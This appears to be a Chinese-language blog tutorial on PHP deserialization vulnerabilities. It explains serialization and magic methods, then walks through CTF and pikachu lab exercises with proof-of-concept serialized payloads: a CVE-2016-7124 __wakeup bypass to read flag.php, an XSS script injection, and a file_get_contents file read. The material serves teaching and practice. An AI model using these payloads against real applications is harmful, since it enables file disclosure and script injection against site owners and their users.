PHP反序列化漏洞总结
一、 基礎知識
1、什么是反序列化漏洞:
程序未對用戶輸入的序列化字符串進行檢測,導致攻擊者可以控制反序列化過程,通過在參數中注入一些代碼,從而達到代碼執行,SQL 注入,目錄遍歷等不可控后果,危害較大。
2、序列化與反序列化:
在了解反序列化漏洞之前,先來了解一下什么是序列化、反序列化以及它們的作用。
1、序列化:
序列化就是將對象object、字符串string、數組array、變量,轉換成具有一定格式的字符串,使其能在文件儲存或傳輸的過程中保持穩定的格式。
PHP中通過 serialize() 函數實現,例:
<?php class Person {public $name = "Tom";private $age = 18;protected $sex = "male";public function hello() {echo "hello";} } $class = new Person(); $class_ser = serialize($class); echo $class_ser; ?>輸出:
O:6:"Person":3:{s:4:"name";s:3:"Tom";s:11:"Personage";i:18;s:6:"*sex";s:4:"male";}其中,從前往后依次為:O代表object,如果是數組則是 i;6代表對象名長度;Person是對象名;3是對象里面的成員變量的數量;括號里面 s 代表 string 數據類型,如果是 i 則代表 int 數據類型;4代表 屬性名的長度;name即屬性名;s同前面;3 代表屬性值長度;Tom即屬性值,后面同理(數字不顯示長度)。同時注意到類里面的方法并不會序列化。
根據成員變量的的修飾類型不同,在序列化中的表示方法也有所不同。可以看到代碼中三個修飾類型分別是public、private、protected。
- public,沒有變化
- private,會變成 %00類名%00屬性名
- protected,會變成 %00*%00屬性名
%00為空白符,空字符也有長度,一個空字符長度為 1,%00 雖然不會顯示,但是提交還是要加上去。
總結:一個類經過序列化之后存儲在字符串的信息只有 類名稱 和 類內成員屬性鍵值對,序列化字符串中沒有將類方法一并序列化。
2、反序列化:
簡單來說,反序列化就是序列化的逆過程。
通過 unserialize() 函數實現,例:
<?php class Person {public $name = "Tom";private $age = 18;protected $sex = "male";public function hello() {echo "hello";} } $class = new Person(); $class_ser = serialize($class); //echo $class_ser; $class_unser = unserialize($class_ser); var_dump($class_unser); ?>輸出:
object(Person)#2 (3) { ["name"]=> string(3) "Tom" ["age":"Person":private]=> int(18) ["sex":protected]=> string(4) "male" }可以看到,將字符串反序列化出來之后的類不包含任何類方法。
二、PHP魔法函數
到目前為止,我們可以控制類屬性,但還稱不上漏洞,只能說是反序列化的特性,還要配合上特定函數才能發揮反序列化漏洞的威力。所以要先了解一些特殊的函數——魔術方法,這些魔術方法均可以在一些特定的情況下自動觸發。如果這些魔術方法中存在我們想要執行,或者說可以利用的函數,那我們就能夠進一步進行攻擊。
1、常見方法:
__construct():構造函數,此函數會在創建一個類的實例時自動調用。__destruct():析構函數,此函數會在對象的所有引用都被刪除或者類被銷毀的時候自動調用。__sleep():執行serialize()函數之前,會檢查類中是否存在_sleep()方法。如果存在,該方法會先被調用。__wakeup():執行unserialize()函數之前,會檢查類中是否存在_wakeup()方法。如果存在,則會先調用_wakeup()方法,預先準備對象需要的資源。__toString():當一個對象被當作一個字符串使用時被調用。例如echo $obj或者拼接字符串時;此方法必須返回一個字符串,否則會產生 E_RECOVERABLE_ERROR 級別的錯誤。__get():在讀取不可訪問的屬性值的時候,此魔法函數會自動調用。__call():在調用未定義的方法時被調用。當然 PHP 中還有很多魔術方法沒有介紹,這里只說了我認為在反序列化漏洞中比較重要的幾個。
來看個示例:
<?php class Test{public function __construct(){echo 'construct run';}public function __destruct(){echo 'destruct run';}public function __toString(){echo 'toString run';return 'str';}public function __sleep(){echo 'sleep run';return array();}public function __wakeup(){echo 'wakeup run';} } ? echo '<br>new了一個對象,對象被創建,執行_construct方法</br>'; $test = new Test(); ? echo '<br>serialize了一個對象,對象被序列化,先執行_sleep方法,再序列化</br>'; $sTest = serialize($test); ? echo '<br>unserialize()了字符串。先執行_wakeup方法,再反序列化</br>'; $usTest = unserialize($sTest); ? echo '<br>把Test對象當做字符串使用,執行_toString方法</br>'; $string = 'use Test obj as str '.$test; ? echo '<br>程序執行完畢,對象自動銷毀,執行_destruct方法</br>';?>執行結果:
通過這個例子可以清楚的看到 5 個魔法函數的執行順序。
2、安全問題:
如何利用反序列化漏洞,取決于應用程序中存在:可用的類,類中有魔法函數,unserialize的參數用戶可控。攻擊者可以構造惡意的序列化字符串。當應用程序將惡意字符串反序列化為對象后,也就執行了攻擊者指定的操作,如代碼執行、任意文件讀取等。
說完上面的基礎知識,現在來看一下CTF中的反序列化的例題吧。
三、CTF中的反序列化
例題一:
<?php error_reporting(0); include "flag.php"; $KEY = "D0g3!!!"; $str = $_GET['str']; if (unserialize($str) === "$KEY") {echo "$flag"; } show_source(__FILE__);這是一道很簡單的反序列化的題,把 str 反序列化之后與 KEY 相等就能輸出 flag。
把 D0g3!!! 進行序列化:
<?php $KEY="D0g3!!!"; echo serialize($KEY); ?>得到:s:7:"D0g3!!!";
get提交:得到flag
例題二:
題目源碼:
<?php class SoFun{ protected $file='index.php';function __destruct(){ if(!empty($this->file)) {if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)show_source(dirname (__FILE__).'/'.$this ->file);elsedie('Wrong filename.');}} function __wakeup(){$this-> file='index.php';} public function __toString(){return '' ;} } if (!isset($_GET['file'])){ show_source('index.php'); } else{ $file=base64_decode($_GET['file']); echo unserialize($file); }?> #<!--key in flag.php-->代碼分析:
根據注釋的提示,key 在 flag.php 文件中,程序將 get 提交的 file 參數 base64 解碼后再反序列化,析構函數 __destruct 可以顯示 file 參數中的文件源碼,同時為了題目的靶機目錄安全用 strchr 函數限制了\ /,不讓你任意讀取文件,不過沒事,我們只需要讀 flag.php 即可,但是在執行反序列化之前 __wakeup 函數會先執行,并且鎖定了 file 為 index.php,所以現在就是考慮繞過 __wakeup 函數。
這道題牽扯到一個CVE漏洞,CVE-2016-7124:當序列化字符串中表示對象屬性個數的值大于真實的屬性個數時會跳過__wakeup的執行
POC:
<?php class SoFun{ protected $file='flag.php'; } $poc = new SoFun; echo serialize($poc); ?>輸出:
O:5:"SoFun":1:{s:7:"*file";s:8:"flag.php";}將表示成員屬性的個數的數字加1或更大的數,同時因為 file 是 protect 屬性,所以需要加上\00
O:5:"SoFun":2:{s:7:"\00*\00file";s:8:"flag.php";}最后再 base64 編碼,提交發現不行,查了一下發現要把 s 改為大寫,因為 protected 屬性的問題, private 屬性也有這個問題, 改為 public 后無論大小寫都可以,就算是個坑吧。
提交得到flag:
四、靶場練習
1、反序列化觸發XSS:
這里使用的是 pikachu 的靶場。
查看一下源碼:
代碼審計:程序將 POST 提交的參數 o 賦值給 s,再將 s 反序列化后的值賦值給 unser 變量,并用@符 不輸出警告 (強制轉化變量的警告);若能進行賦值操作,即 s 能被反序列化,就將反序列后的 test 值寫入到網頁中,并在第64行源碼 <?php echo $html;?>中執行;注意這里的構造函數 __construct 并不會執行。
構造POC:
<?php class S{var $test = "<script>alert(1)</script>"; } $a = new S(); echo serialize($a); ?>得到:
O:1:"S":1:{s:4:"test";s:25:"<script>alert(1)</script>";}在輸入框輸入上面代碼,觸發成功!
2、反序列化文件讀取:
靶場地址
本題源碼:
代碼審計:可以看到有兩個類,并且兩個類中都有 __toString 函數,下面有個 echo 函數,回把我們輸入的反序列內容輸出,那么就會執行 __toString 函數,我們可以利用 FileClass 類中的 file_get_contents() 函數讀取文件。
先在User類中測試一下:
<?php class User{public $age = 18;public $name = "Tom"; } $a = new User(); echo serialize($a); ?>得到:O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:3:"Tom";}
提交得到:
確實可以執行我們輸入的反序列化字符。
讀取同目錄下unser.php的文件。
POC:
<?php class FileClass{public $filename = 'unser.php'; } $a = new FileClass(); echo serialize($a); ?>得到:O:9:"FileClass":1:{s:8:"filename";s:9:"unser.php";}
提交,成功讀取文件:
🆗,PHP的反序列化總結暫時就到這了。
總結
以上是生活随笔為你收集整理的PHP反序列化漏洞总结的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: XSS (跨站脚本攻击) 分析与实战
- 下一篇: PHP学习(php概念、基本语法、流程控